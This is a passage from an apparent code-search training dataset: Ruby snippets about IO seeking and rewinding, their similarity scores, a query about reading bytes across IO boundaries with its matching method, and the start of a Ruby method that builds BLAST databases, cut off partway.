"def unbuffered_seek(offset, whence = IO::SEEK_SET)\n unless offset == 0 &&\n ((whence == IO::SEEK_SET && @io.respond_to?(:rewind)) ||\n whence == IO::SEEK_CUR) then\n raise Errno::EINVAL\n end\n\n case whence\n when IO::SEEK_SET\n io.rewind\n @encrypt_buffer = ''\n initialize_keys\n @total_bytes_in = 0\n when IO::SEEK_CUR\n @total_bytes_in\n end\n end",
"def sysseek(offset, whence=IO::SEEK_SET)\n raise NotImplementedError # TODO: provide best-effort implementation for sysseek\n end",
"def rewind(pos = self.last_position)\n self.position = pos\n end",
"def pos\n @read\n end",
"def seek_start\n seek_to_percent(0.0)\n end",
"def rewind\n unless Archive::Tar::Minitar.seekable?(@io, :pos=)\n raise Archive::Tar::Minitar::NonSeekableStream\n end\n @io.pos = @orig_pos\n @read = 0\n end",
"def seek_to_time(seconds)\n return unless running?\n info \"SEEK TO: #{seconds} seconds\"\n send_command :seek, seconds, 1\n end",
"def pos\n @io.pos\n rescue Errno::ESPIPE\n backup.pos\n end",
"def row_seek(n)\n @result.row_seek(n)\n end",
"def rewind(f)\n # seeks position 0 of arguemnt f\n f.seek(0)\n# end definition of function\nend",
"def seek(position, unit = TimeUnit::MS)\n position = 0 if position < 0\n FMOD.invoke(:Channel_SetPosition, self, position, unit)\n self\n end",
"def at(pos)\n pos = pos.to_int\n\n if 0 <= pos && !has_size?\n return read_access(pos)\n elsif 0 <= pos && pos < size\n return read_access(pos)\n elsif -size <= pos && pos < 0\n return read_access(size + pos)\n else\n return nil\n end\n end",
"def rewind(f)\n# takes you to first position in the argument\n f.seek(0)\nend",
"def seek(seconds) \n\t\tsynchronized do\n\t\t\t@vlc.puts \"seek #{seconds}\"\n\t\tend\n\tend",
"def read_at (pos)\r\n @data[pos]\r\n end",
"def sysseek\n end",
"def tell\n @offset\n end",
"def seek_to(string, blocksize=512)\n raise \"Error: blocksize must be at least as large as the string\" if blocksize < string.size\n\n loop do\n data = read(blocksize)\n\n if index = data.index(string)\n seek(-(data.size - index), IO::SEEK_CUR)\n break\n elsif eof?\n return nil\n else\n seek(-(string.size - 1), IO::SEEK_CUR)\n end\n end\n\n pos\n end",
"def row_seek(n)\n ret = @index\n @index = n\n ret\n end",
"def with_guarded_io_pos(io)\n pos = io.pos\n status = yield io\n ensure\n io.pos = pos unless status\n end",
"def log_start_position(seek_pos, old_pos = 0)\n # Don't try and seek past the beginning or end of the file\n return FILE_SIZE if seek_pos >= FILE_SIZE\n return 0 if seek_pos <= 0\n \n debug \"Seeking to #{seek_pos} (#{(seek_pos/FILE_SIZE.to_f) * 100}%), offset is #{seek_pos - old_pos}\"\n \n LOGFILE.seek(seek_pos)\n \n # discard the first line, it could be incomplete\n LOGFILE.readline\n return LOGFILE.pos if LOGFILE.pos == FILE_SIZE\n ln = LOGFILE.readline\n date = datetime_from_string(ln)\n \n if date < FIVE_MINUTES_AGO\n # The position we are in in the file is too far back in time, jump forward\n new_pos = LOGFILE.pos + ((FILE_SIZE - LOGFILE.pos) / 2)\n debug \"Date #{date} is too old compared to #{FIVE_MINUTES_AGO.to_s}, new position is #{new_pos}\"\n return LOGFILE.pos if new_pos - LOGFILE.pos <= MIN_OFFSET\n return log_start_position(new_pos, seek_pos)\n else\n # The position we are in the file is too close to the present, jump back\n new_pos = LOGFILE.pos - ((seek_pos - old_pos) / 2)\n debug \"Date #{date} is too new compared to #{FIVE_MINUTES_AGO.to_s}, new position is #{new_pos}\"\n return LOGFILE.pos if LOGFILE.pos - new_pos <= MIN_OFFSET\n return log_start_position(new_pos, seek_pos)\n end\nend",
"def pos\n file.pos\n end",
"def unbuffered_seek(offset, whence = IO::SEEK_SET)\n unless offset == 0 &&\n ((whence == IO::SEEK_SET && delegate.respond_to?(:rewind)) ||\n whence == IO::SEEK_CUR) then\n raise Errno::EINVAL\n end\n\n case whence\n when IO::SEEK_SET\n delegate.rewind\n @deflater.finish\n @deflater.close\n @deflater = Zlib::Deflate.new(\n @level, @window_bits, @mem_level, @strategy\n )\n @deflate_buffer = ''\n 0\n when IO::SEEK_CUR\n @deflater.total_in\n end\n end",
"def rewind(f)\n #seeks for f at line 0\n f.seek(0)\n end",
"def rewind(f)\n#prints the parameter, function .seek has been assigned to it with a parameter equal to 0\n puts f.seek(0)\n #closing the function\nend",
"def seek_contiguous_max(needle, step_lines = 10)\n\n file = @file\n max = nil\n\n # move to head of line\n seek_line_head\n\n loop do\n\n # file#pos before #forward_lines\n pos_old = file.pos\n\n lines = forward_lines(step_lines)\n lines_pos = lines.rindex(needle)\n\n # for debug\n # p [\n # lines: lines,\n # lines_pos: lines_pos,\n # file_pos: file.pos\n # ].to_s\n # sleep 0.05\n\n # if did not match needle\n # - returner is last set value to 'max'\n break if lines_pos.nil?\n\n lines_end_pos = str_byte_index(lines, /(\\r\\n|\\r|\\n)+?/, lines_pos)\n\n if lines_end_pos.nil?\n max = file.size if file.eof?\n break\n end\n\n max = pos_old + lines_end_pos\n\n # for debug\n # p [\n # lines: lines,\n # lines_bytesize: lines.bytesize,\n # lines_pos: lines_pos,\n # lines_end_pos: lines_end_pos,\n # file_pos: file.pos\n # ].to_s\n # sleep 0.05\n\n break if file.eof?\n break if lines_end_pos < lines.size - 1\n end\n\n file.seek(max) unless max.nil?\n max\n end",
"def advance\n buffer_available_data\n @cursor = @buffer.length\n end",
"def move_to_next_line()\r\n while @seek_ptr < @len && @fileBuf.at(@seek_ptr) != \"\\n\"\r\n @seek_ptr = @seek_ptr + 1\r\n end\r\n end",
"def seek_reverse(amount = opts[:seek_size])\n seek_by(-amount)\n end",
"def next\n peek.tap { @position += 1 }\n end",
"def rewind(f)\n#call seek method on f. Seek to the absolute position indicated in the first parameter '0'\n\tf.seek(0, IO::SEEK_SET)\nend",
"def almost_rewind(f)\n f.seek(2)\nend",
"def pos=(p)\n r = (@io.pos = p)\n @buffer = ''\n r\n end",
"def seek!(options = {})\n raise InvalidActionError, \"Cannot seek an Output that is already seeking.\" if seeking?\n seek_action(options).tap do |action|\n write_action action\n end\n end",
"def rewind(f)\n # the seek method tries to find a position (given as an integer)\n # if we send a file to our \"rewind\" method, it will \"seek\" position 0\n # position 0 is the beginning of the File\n f.seek(0)\nend",
"def seek_to_record(num)\r\n\t\t\toffset=self.get_record_offset(num)\r\n\t\t\treturn if offset==nil\r\n\t\t\tself.seek_to(offset)\r\n\t\tend"
] |
[
"0.7930072",
"0.76887316",
"0.7554531",
"0.75505155",
"0.74827766",
"0.74148446",
"0.7404862",
"0.7388249",
"0.71331865",
"0.71331865",
"0.70246464",
"0.7018061",
"0.6991763",
"0.69917077",
"0.69900465",
"0.6984661",
"0.69794095",
"0.68303657",
"0.67766345",
"0.67324436",
"0.6726438",
"0.66802204",
"0.66417813",
"0.6638102",
"0.6630076",
"0.65808046",
"0.6553417",
"0.6550524",
"0.6537605",
"0.6519292",
"0.6513976",
"0.65095186",
"0.65089834",
"0.6498516",
"0.64641225",
"0.6412692",
"0.63074756",
"0.6304476",
"0.627387",
"0.6247405",
"0.62380606",
"0.622999",
"0.62282234",
"0.62174946",
"0.62047315",
"0.6197574",
"0.61700475",
"0.61622995",
"0.61491007",
"0.61459756",
"0.61276364",
"0.6115674",
"0.6113429",
"0.61043656",
"0.60964966",
"0.60750115",
"0.60689235",
"0.6054056",
"0.6053946",
"0.60260093",
"0.60131896",
"0.60005164",
"0.5998364",
"0.59715724",
"0.5930259",
"0.591275",
"0.59035575",
"0.5902345",
"0.59020495",
"0.59014755",
"0.59006435",
"0.58968836",
"0.58921355",
"0.586918",
"0.5867861",
"0.5866144",
"0.585546",
"0.5848677",
"0.5847586",
"0.5845636",
"0.5834173",
"0.58300066",
"0.58267593",
"0.58097136",
"0.580338",
"0.57915485",
"0.57327205",
"0.5728883",
"0.57112855",
"0.5709327",
"0.569764",
"0.5662439",
"0.5654519",
"0.56337667",
"0.5611271",
"0.56111145",
"0.55684125",
"0.5564267",
"0.55570745",
"0.5555488"
] |
0.6985674
|
15
|
Read a certain amount of bytes in the underlying IO A read can never cross IO boundaries (i.e. it will only be served by a single file)
|
def read(byte_count)
buffer = @current_io.read(byte_count)
if !buffer
select_next_io
@current_io.read(byte_count)
else
buffer
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def readpartial(size)\n rescue_readable do\n socket.read_nonblock(size)\n end\n end",
"def read_bytes_full\n @_io.read\n end",
"def read(length=99, buf=\"buffer\") end",
"def read(io, size)\n io.read_nonblock(size)\n rescue IO::WaitReadable\n IO.select([io])\n retry\n rescue EOFError\n nil\n end",
"def read_more(size); end",
"def read_n_bytes_from_remote(start_at, n_bytes)\n range = (start_at..(start_at + n_bytes - 1))\n request_range(range)\n end",
"def readpartial(size, buffer = T.unsafe(nil)); end",
"def readpartial(size, buffer = T.unsafe(nil)); end",
"def readpartial(size, buffer = T.unsafe(nil)); end",
"def readpartial(maxlen=99, buf=\"buffer\") end",
"def read(size)\n ret = @io.read(size)\n raise EOFError if ret.nil? || size && ret.bytesize < size\n\n ret\n end",
"def read(offset, how_much)\n @stream.read(how_much)\n end",
"def read_nonblock(maxlen=99, buf=\"buffer\") end",
"def readpartial(size)\n reset_timer\n\n loop do\n result = socket.read_nonblock(size, :exception => false)\n if result.nil?\n return :eof\n elsif result != :wait_readable\n return result\n end\n\n IO.select([socket], nil, nil, time_left)\n log_time\n end\n end",
"def read(offset, how_much)\n @stream.read(how_much)\n end",
"def read(n_bytes = nil)\n @remote_size ||= request_object_size\n\n # If the resource is empty there is nothing to read\n return nil if @remote_size.zero?\n\n maximum_avaialable = @remote_size - @pos\n n_bytes ||= maximum_avaialable # nil == read to the end of file\n return '' if n_bytes.zero?\n raise ArgumentError, \"No negative reads(#{n_bytes})\" if n_bytes < 0\n\n n_bytes = clamp(0, n_bytes, maximum_avaialable)\n\n read_n_bytes_from_remote(@pos, n_bytes).tap do |data|\n if data.bytesize != n_bytes\n raise \"Remote read returned #{data.bytesize} bytes instead of #{n_bytes} as requested\"\n end\n @pos = clamp(0, @pos + data.bytesize, @remote_size)\n end\n end",
"def read_bytes(count)\n result = @content.byteslice(@cursor, count)\n @cursor += count\n result\n end",
"def read_chunk(size)\n standard_read_chunk(size)\n end",
"def check_read(file, bytes); end",
"def check_read(file, bytes); end",
"def read(length)\n return nil if (@offset + length) > @buffer.bytesize\n\n chunk = @buffer.byteslice(@offset, length)\n @offset += chunk.bytesize\n\n prune if @offset > MINIMUM_AUTOMATIC_PRUNE_OFFSET\n\n return chunk\n end",
"def readpartial(size, buffer = nil)\n timeout = false\n loop do\n result = @socket.read_nonblock(size, buffer, :exception => false)\n\n return :eof if result.nil?\n return result if result != :wait_readable\n\n raise TimeoutError, \"Read timed out after #{@read_timeout} seconds\" if timeout\n\n # marking the socket for timeout. Why is this not being raised immediately?\n # it seems there is some race-condition on the network level between calling\n # #read_nonblock and #wait_readable, in which #read_nonblock signalizes waiting\n # for reads, and when waiting for x seconds, it returns nil suddenly without completing\n # the x seconds. In a normal case this would be a timeout on wait/read, but it can\n # also mean that the socket has been closed by the server. Therefore we \"mark\" the\n # socket for timeout and try to read more bytes. If it returns :eof, it's all good, no\n # timeout. Else, the first timeout was a proper timeout.\n # This hack has to be done because io/wait#wait_readable doesn't provide a value for when\n # the socket is closed by the server, and HTTP::Parser doesn't provide the limit for the chunks.\n timeout = true unless @socket.to_io.wait_readable(@read_timeout)\n end\n end",
"def read(bytes)\n @reader.read_nonblock(bytes)\n rescue Errno::EAGAIN\n # it simply means that there's nothing in\n # the output buffer.\n rescue Errno::EIO => msg\n @pid = nil\n rescue EOFError => msg\n @pid = nil\n end",
"def read(n)\n end",
"def read(len = nil)\n return nil if @read >= @size\n len ||= @size - @read\n max_read = [len, @size - @read].min\n ret = @io.read(max_read)\n @read += bytesize(ret)\n ret\n end",
"def read_bytes(sd, n)\n\n out = []\n\n while (n > out.size) \n data = sd.read_bytes(n - out.size)\n break unless data\n out = out + data\n end\n\n return out\nend",
"def read(bytes)\n read_file(@reader, bytes) unless peek_named_pipe(@reader).zero?\n end",
"def read\n\t\t\t\t\t@stream.readpartial(BLOCK_SIZE)\n\t\t\t\trescue EOFError, IOError\n\t\t\t\t\t# I noticed that in some cases you will get EOFError, and in other cases IOError!?\n\t\t\t\t\treturn nil\n\t\t\t\tend",
"def read_blocking(count)\n bytes = ''\n while bytes.length < count\n bytes += read_non_blocking(count).to_s\n sleep 0.001\n end\n bytes\n end",
"def read_fully(count, timeout = nil)\n return nil if @__bunny_socket_eof_flag__\n\n value = ''\n begin\n loop do\n value << read_nonblock(count - value.bytesize)\n break if value.bytesize >= count\n end\n rescue EOFError => e\n @__bunny_socket_eof_flag__ = true\n rescue OpenSSL::SSL::SSLError => e\n if e.message == \"read would block\"\n if IO.select([self], nil, nil, timeout)\n retry\n else\n raise Timeout::Error, \"IO timeout when reading #{count} bytes\"\n end\n else\n raise e\n end\n rescue *READ_RETRY_EXCEPTION_CLASSES => e\n if IO.select([self], nil, nil, timeout)\n retry\n else\n raise Timeout::Error, \"IO timeout when reading #{count} bytes\"\n end\n end\n value\n end",
"def standard_read_chunk(size)\n unless size.is_a?(Integer) && size > 0\n raise ArgumentError,\n \"Read size (#{size.inspect}) must be greater than 0.\"\n end\n if @pushback\n chunk = @pushback\n @pushback = nil\n elsif ! @input.nil?\n chunk = @input.read(size)\n end\n return chunk\n end",
"def read_bytes(count)\n result = new_buffer\n result << read_outstanding(0, count)\n @outstanding = read_outstanding(count..-1)\n result << read_bytes!(count - result.size) until result.size == count\n result\n ensure\n @recent << result\n end",
"def read(n=nil)\n if @response == nil\n raise IOError, \"No response available.\"\n end\n return @remaining_body.read(n)\n end",
"def read_fully(count, timeout = nil)\n value = ''\n\n begin\n loop do\n value << read_nonblock(count - value.bytesize)\n break if value.bytesize >= count\n end\n rescue EOFError\n # JRuby specific fix via https://github.com/jruby/jruby/issues/1694#issuecomment-54873532\n IO.select([self], nil, nil, timeout)\n retry\n rescue *READ_RETRY_EXCEPTION_CLASSES\n if IO.select([self], nil, nil, timeout)\n retry\n else\n raise Timeout::Error, \"IO timeout when reading #{count} bytes\"\n end\n end\n\n value\n end",
"def read(size) # raise EOFError\n raise NotImplementedError.new('Method read must be defined in a derived class.')\n end",
"def read(n)\n Buffer.new(slice!(0, n))\n end",
"def __read(buffer_length, buffer = nil)\n @io.read_nonblock(buffer_length, buffer)\n rescue Errno::EAGAIN, Errno::EWOULDBLOCK, Errno::EINTR\n Minx.yield\n retry\n end",
"def read(offset, len)\n _isource.read(offset, len)\n end",
"def tail(bytes)\n return read if size < bytes\n open { |f|\n f.seek(-bytes, IO::SEEK_END)\n f.read\n }\n end",
"def read(length = nil, opts = {})\n synchronize_access {\n begin\n return fd.read_nonblock( length )\n rescue ::Errno::EAGAIN, ::Errno::EWOULDBLOCK\n return nil if self.close_resource\n # Sleep for a half a second, or until we can read again\n Rex::ThreadSafe.select( [ fd ], nil, nil, 0.5 )\n # Decrement the block size to handle full sendQs better\n retry\n rescue ::IOError, ::Errno::EPIPE\n return nil\n end\n }\n end",
"def read_bytes(amount, mut)\n amount.times.each_with_object([]) { |_idx, arr| arr << read_byte(false, mut) }\n end",
"def read(length = nil, offset = 0)\n if (length == nil)\n data = ''\n fptr = offset\n ok = self.client.read(self.file_id, fptr, self.chunk_size)\n while (ok and ok['Payload'].v['DataLenLow'] > 0)\n buff = ok.to_s.slice(\n ok['Payload'].v['DataOffset'] + 4,\n ok['Payload'].v['DataLenLow']\n )\n data << buff\n if ok['Payload'].v['Remaining'] == 0\n break\n end\n fptr += ok['Payload'].v['DataLenLow']\n\n begin\n ok = self.client.read(self.file_id, fptr, self.chunk_size)\n rescue XCEPT::ErrorCode => e\n case e.error_code\n when 0x00050001\n # Novell fires off an access denied error on EOF\n ok = nil\n else\n raise e\n end\n end\n end\n\n return data\n else\n ok = self.client.read(self.file_id, offset, length)\n data = ok.to_s.slice(\n ok['Payload'].v['DataOffset'] + 4,\n ok['Payload'].v['DataLenLow']\n )\n return data\n end\n end",
"def read(maxbytes=1024)\n \"\"\"Buffered read from node, non-blocking.\n maxbytes: maximum number of bytes to return\"\"\"\n count = @readbuf.length\n if count < maxbytes\n data = File.new(@stdout.fileno(), \"r\").sysread(maxbytes - count)\n puts data\n @readbuf += data\n end \n\n if maxbytes >= @readbuf.length\n result = @readbuf\n @readbuf = ''\n else\n puts 'entered'\n result = @readbuf[0..maxbytes]\n @readbuf = @readbuf[maxbytes..@readbuf.length]\n end\n\n return result\n end",
"def sysread(amt=99) end",
"def read(count = T.unsafe(nil), _buffer = T.unsafe(nil)); end",
"def read(num_bytes)\n buffer = String.new\n\n until buffer.length >= num_bytes\n begin\n # Unlike plain TCP sockets, SSL sockets don't support IO.select\n # properly.\n # Instead, timeouts happen on a per read basis, and we have to\n # catch exceptions from read_nonblock and gradually build up\n # our read buffer.\n buffer << @ssl_socket.read_nonblock(num_bytes - buffer.length)\n rescue IO::WaitReadable\n if select_with_timeout(@ssl_socket, :read)\n retry\n else\n raise Errno::ETIMEDOUT\n end\n rescue IO::WaitWritable\n if select_with_timeout(@ssl_socket, :write)\n retry\n else\n raise Errno::ETIMEDOUT\n end\n end\n end\n\n buffer\n end",
"def test_line_buffer_size\n wrapper = S3io::ReadWrapper.new(@s3object, :line_buffer_size => 25)\n\n wrapper.lines.each_with_index do |line, index|\n break if index == 1 # skip two buffered reads\n end\n\n assert_equal(50, wrapper.pos)\n assert_equal(S3_TEST_DATA[50..-1], wrapper.read)\n end",
"def read_available(length = T.unsafe(nil)); end",
"def read(size)\n data = @data.byteslice(@pos, size)\n @pos += size\n data\n end",
"def read(length = 65535)\n if length < 0\n length = 65535\n end\n return sysread(length)\n end",
"def long_read_len()\n #This is a stub, used for indexing\n end",
"def read(length = bytes_remaining)\n value = @data.byteslice(@pos, length)\n @pos += length\n value\n end",
"def size; @_io.size; end",
"def read_partial(length = nil)\n if @buffer\n buffer = @buffer\n @buffer = nil\n else\n buffer = read_next\n end\n\n if buffer and length\n if buffer.bytesize > length\n # This ensures the subsequent `slice!` works correctly.\n buffer.force_encoding(Encoding::BINARY)\n\n @buffer = buffer.byteslice(length, buffer.bytesize)\n buffer.slice!(length, buffer.bytesize)\n end\n end\n\n return buffer\n end",
"def read_from_socket maxlen\n socket.read_nonblock maxlen\n rescue IO::WaitReadable\n :wait_readable\n end",
"def read(bytes = @length)\n return nil if @pos >= @length\n bytes = @length - @pos if bytes.nil?\n bytes = @length - @pos if @pos + bytes > @length\n\n out = @data[@pos, bytes] if @data.kind_of?(String)\n out = @data.read(bytes) if @data.kind_of?(NTFS::DataRun)\n\n @pos += out.size\n out\n end",
"def readpartial(maxlen, outbuf=nil)\n read_nonblock(maxlen, outbuf)\n rescue IO::WaitReadable\n block_until_readable\n retry\n end",
"def read!(handle, offset, length, &callback)\n wait_for(read(handle, offset, length, &callback), :data)\n end",
"def read(bytes)\n raise \"read(bytes) must be overridden\"\n end",
"def read(size = @chunk_size)\n case size\n when nil\n chunk = nil\n while temp = read(@chunk_size)\n if chunk\n chunk << temp\n else\n chunk = temp\n end\n end\n chunk\n when Integer\n read_chunk(size)\n else\n raise ArgumentError,\n \"Read size (#{size.inspect}) must be an Integer or nil.\"\n end\n end",
"def read(offset, size)\n @file.seek(@offset + offset, IO::SEEK_SET)\n @file.read(size)\n end",
"def pread_pass_through(nbytes:, offset:, buffer:, timeout:)\n invalidate!\n @io.__pread__(nbytes: nbytes, offset: offset, buffer: buffer, timeout: timeout)\n end",
"def read_available(length = nil)\n input.read(length || available)\n end",
"def read( bytes_to_read )\n begin\n client = TCPSocket.new( @ip_address, @port )\n read_bytes = client.read( bytes_to_read )\n puts \"Read #{read_bytes.length}:\"\n print_bytes( read_bytes )\n return read_bytes\n rescue Errno::ETIMEDOUT\n return -1\n end\n end",
"def _read maxlen = DEFAULT_MAXLEN\n begin\n data = nil\n\n loop do\n data = read_from_socket maxlen\n case data\n when :wait_readable\n IO.select selector\n when NilClass\n break\n else\n begin\n @client << data\n rescue HTTP2::Error::ProtocolError => pe\n STDERR.puts \"protocol error: #{pe.message}\"\n STDERR.puts pe.backtrace.map {|l| \"\\t\" + l}\n end\n end\n end\n\n rescue IOError, Errno::EBADF\n close\n ensure\n unblock!\n end\n end",
"def read\n serial_port.read_nonblock(4096)\n rescue EOFError\n end",
"def receive_n_bytes(sizemax,looping=false,&b)\n s=sizemax\n if self.data_readed.size>=sizemax\n buff,self.data_readed=self.data_readed[0..sizemax-1],self.data_readed[sizemax..-1]\n buff=b.call(buff) if block_given?\n return buff unless looping\n end\n s=sizemax-self.data_readed.size\n loop do\n #p [\"waiting \",s,data_readed]\n sd=s>1024 ? 1024 : s\n data=(self.recv(sd) rescue (p $!;nil))\n #p \"nrec: w#{sizemax}/ rec:#{(data||'').size} / #{sd} old=#{data_readed.size} /// #{(data||'').size<70 ? data : \".\"}\"\n if data && data.size>0\n self.data_readed=self.data_readed+data\n s=sizemax-self.data_readed.size\n if s<=0\n buff,self.data_readed=self.data_readed,\"\"\n s=sizemax\n buff=b.call(buff) if block_given?\n return buff unless looping\n end\n else\n close rescue nil\n break # socket close\n end\n end #loop\n end",
"def read_loop(maxlen = 8192)\n while (data = sysread(maxlen))\n yield data\n end\n end",
"def read maxlen = DEFAULT_MAXLEN\n main = Thread.current\n @reader = Thread.new do\n @read_gate.block!\n begin\n _read maxlen\n rescue => e\n main.raise e\n end\n end\n end",
"def read_until(bytes)\n out = \"\"\n size = bytes.size\n\n if @buffer && !@buffer.empty?\n if @buffer.include?(bytes)\n offset = @buffer.index(bytes) + size\n return head(offset)\n else\n out << head(@buffer.size)\n end\n end\n\n loop do\n out << @io.read(1)\n if out[-1 * size,size].eql?(bytes)\n out = out[0, out.size - size]\n seek(pos - size)\n break\n end\n end\n out\n end",
"def sysread(io, size)\n buf = \"\"\n while size > 0\n tmp = io.sysread(size)\n buf << tmp\n size -= tmp.bytesize\n end\n return buf\nend",
"def read_abs(size, pos)\n @data.byteslice(pos, size)\n end",
"def read(maxlen = nil, buf = nil, buffer_pos = 0)\n return readpartial(maxlen, buf, buffer_pos) if buf\n\n buf = +''\n return readpartial(maxlen, buf) if maxlen\n\n readpartial(4096, buf, -1) while true\n rescue EOFError\n buf\n end",
"def recvExactNBytes(n)\n buffer = \"\" ;\n while(buffer.size < n)\n IO::select([@socket]) ;\n buf = @socket.recv(n-buffer.size) ;\n if(buf == \"\") # in the case of EOF\n raise SumoException.new(\"TCP socket return EOF\",\n { :n => n }) ;\n end\n buffer << buf ;\n end\n return buffer ;\n end",
"def read(amount = nil, buf = nil)\n raise(IOError, \"closed stream\") if @closed\n\n buf ||= ''.force_encoding(\"ASCII-8BIT\")\n buf.clear\n\n if amount.nil?\n read_to_buf(nil, buf) # read the entire file, returns buf\n elsif amount.negative?\n raise(ArgumentError, \"negative length #{amount} given\")\n elsif amount.zero?\n ''\n else\n read_to_buf(amount, buf)\n # if amount was specified but we reached eof before reading anything\n # then we must return nil\n buf.empty? ? nil : buf\n end\n end",
"def read(sz)\n raise NotImplementedError\n end",
"def read(position)\n @file.seek(position)\n size = @file.readbytes(4).unpack('N').first\n @file.readbytes(size)\n end",
"def fill_read_buffer\n\t\t\t\tif buffer = @io.read(@block_size)\n\t\t\t\t\t@read_buffer << buffer\n\t\t\t\telse\n\t\t\t\t\t@eof = true\n\t\t\t\tend\n\t\t\tend",
"def read() end",
"def ssl_socket_read(ssl_socket, bytes)\n log.chunder('ssl_socket_read')\n\n begin\n return ssl_socket.read_nonblock(bytes)\n rescue IO::WaitReadable\n log.chunder('WaitReadable') # XXX\n IO.select([ssl_socket.io])\n log.chunder('WaitReadable retry') # XXX\n retry\n rescue IO::WaitWritable\n log.chunder('WaitWritable') # XXX\n IO.select(nil, [ssl_socket.io])\n log.chunder('WaitWritable retry') # XXX\n retry\n end\n\n ensure\n log.chunder('done ssl_socket_read')\n end",
"def read_available(length = nil)\n @input.read(length || available)\n end",
"def read_all(into_buffer)\n while (read_bytes(4096, into_buffer))\n # work is in the loop condition.\n end\n return into_buffer\n end",
"def read_byte\n @buffer.shift(BYTE_LENGTH).join.to_i(2) if @buffer.length >= BYTE_LENGTH\n end",
"def fill(n = 8192)\n input.consume!\n data = recv(n)\n debug { \"read #{data.length} bytes\" }\n input.append(data)\n return data.length\n rescue EOFError => e\n @input_errors << e\n return 0\n end",
"def readpartial(len, buf = +'', buffer_pos = 0, raise_on_eof = true)\n result = Polyphony.backend_read(self, buf, len, false, buffer_pos)\n raise EOFError if !result && raise_on_eof\n\n result\n end",
"def msg_read(n_bytes)\n\t@msg_buf += get_bytes(n_bytes)\n\t@msg_buf.flatten!\n\treturn @msg_buf[-1]\n end",
"def recv(n)\n until(buffer.length >= n)\n read_stream\n sleep(0.1) unless buffer.length >= n\n end\n buffer.slice!(0, n)\n end",
"def timed_read(length = nil, wait = def_read_timeout, opts = {})\n if (wait and wait > 0)\n Timeout.timeout(wait) {\n return read(length, opts)\n }\n else\n return read(length, opts)\n end\n end",
"def read_until(timeout=@session.timeout)\n start = Time.now\n loop do\n if block_given?\n result = yield and\n return result\n end\n\n return if @eof_found\n\n # select treats 0 as infinity, so clamp it just above 0\n timeout_remaining = [timeout - (Time.now - start), 0.00001].max\n IO.select([@stream], [], [], timeout_remaining) or\n raise Timeout, \"timeout exceeded\"\n\n read_chunk\n end\n end",
"def readpartial(size = BUFFER_SIZE)\n return unless @pending_response\n\n chunk = @parser.read(size)\n return chunk if chunk\n\n finished = (read_more(size) == :eof) || @parser.finished?\n chunk = @parser.read(size)\n finish_response if finished\n\n chunk || \"\".b\n end",
"def read(*args)\n sync\n io.read *args\n end",
"def send_http_and_sysread(req)\n send_http(req).sysread 2_048\n end",
"def read(len)\r\n buf = \"\\0\" * len\r\n Win32API.new(\"msvcrt\", \"_read\", \"lpl\", \"l\").call(@fd, buf, len)\r\n buf\r\n end",
"def quick_read (io_or_path, mode='r')\n\t\t\t\trdr = Reader.new(io_or_path, mode)\n\t\t\t\tdata = rdr.hndl.read()\n\t\t\t\trdr.close()\n\t\t\t\treturn data\n\t\t\tend",
"def read\n return if @read_flag\n\n process_reading\n end",
"def read(length=4096,buffer='')\n @socket.read(length,buffer)\n end",
"def timed_read(length = 65535, timeout=def_read_timeout)\n begin\n if ((rv = ::IO.select([ fd ], nil, nil, timeout)) and\n (rv[0]) and (rv[0][0] == fd)\n )\n return read(length)\n else\n return ''\n end\n rescue Exception\n return ''\n end\n end",
"def read (filename, length, client)\n afile = File.new(filename.to_s, \"r\")\n if afile\n content = afile.sysread(length)\n puts content\n client.puts content\n else\n client.puts \"Unable to read file!\"\n end\nend",
"def read_at_offset(offset, size)\n return nil unless offset < @size && (offset + size) <= @size\n\n data_file = data_file_for_offset(offset)\n data_file.file.seek(offset - data_file.offset)\n data_file.file.read(size)\n end",
"def reads\n (1..read_count).to_a\n end"
] |
[
"0.7236927",
"0.7100403",
"0.70259225",
"0.6991769",
"0.69357836",
"0.6923383",
"0.68481535",
"0.68481535",
"0.68481535",
"0.68386036",
"0.68249035",
"0.6781562",
"0.6757524",
"0.6748955",
"0.6745684",
"0.67406255",
"0.6670069",
"0.66685855",
"0.6635056",
"0.6635056",
"0.6620772",
"0.6616871",
"0.6595246",
"0.6581467",
"0.65649724",
"0.65592355",
"0.6558957",
"0.65440774",
"0.653898",
"0.6524442",
"0.65089965",
"0.64814276",
"0.64626384",
"0.6459922",
"0.6458987",
"0.64157325",
"0.64043504",
"0.63883656",
"0.63280296",
"0.63236696",
"0.6315803",
"0.6306792",
"0.62887937",
"0.62876934",
"0.62811697",
"0.62618613",
"0.62566537",
"0.6252893",
"0.624984",
"0.6248317",
"0.62432635",
"0.6231804",
"0.6229771",
"0.6228045",
"0.6220567",
"0.62107533",
"0.62048805",
"0.6201775",
"0.6184847",
"0.61773986",
"0.61642617",
"0.61605144",
"0.61596066",
"0.61329746",
"0.6124588",
"0.6103431",
"0.6099563",
"0.6096571",
"0.60932964",
"0.60920924",
"0.60870653",
"0.6085374",
"0.6079118",
"0.6078562",
"0.6069448",
"0.60690546",
"0.60686046",
"0.60621333",
"0.6059231",
"0.6055979",
"0.6047453",
"0.60470647",
"0.5995807",
"0.5994363",
"0.59941447",
"0.59913284",
"0.5990211",
"0.5983112",
"0.59812254",
"0.5980556",
"0.5965991",
"0.59622556",
"0.5957959",
"0.59539497",
"0.59505534",
"0.59360033",
"0.59115785",
"0.590972",
"0.5907311",
"0.5902831"
] |
0.67675924
|
12
|
makes a blast database from the query and the target
|
def makedb
# check if the query is a nucleotide sequence
query_file = Bio::FastaFormat.open(@query)
query_file.each do |entry|
raise "Query sequence looks like it's not nucleotide" if !entry.isNucl?
end
# check if the target is a nucl or prot seq
target_file = Bio::FastaFormat.open(@target)
count_p=0
count=0
target_file.each do |entry|
count_p += 1 if entry.isProt?
count += 1
end
if count_p > count*0.9
@target_is_prot = true
else
@target_is_prot = false
end
# construct the output database names
@query_name = File.basename(@query).split('.')[0..-2].join('.')
@target_name = File.basename(@target).split('.')[0..-2].join('.')
# check if the databases already exist in @working_dir
make_query_db_cmd = "#{@makedb_path} -in #{@query}"
make_query_db_cmd << " -dbtype nucl -title #{query_name} -out #{query_name}"
if !File.exists?("#{@working_dir}/#{query_name}.nin")
`#{make_query_db_cmd}`
end
make_target_db_cmd = "#{@makedb_path} -in #{@target}"
make_target_db_cmd << " -dbtype nucl " if !@target_is_prot
make_target_db_cmd << " -dbtype prot " if @target_is_prot
make_target_db_cmd << " -title #{target_name} -out #{target_name}"
db_target = "#{target_name}.nsq" if !@target_is_prot
db_target = "#{target_name}.psq" if @target_is_prot
if !File.exists?("#{db_target}")
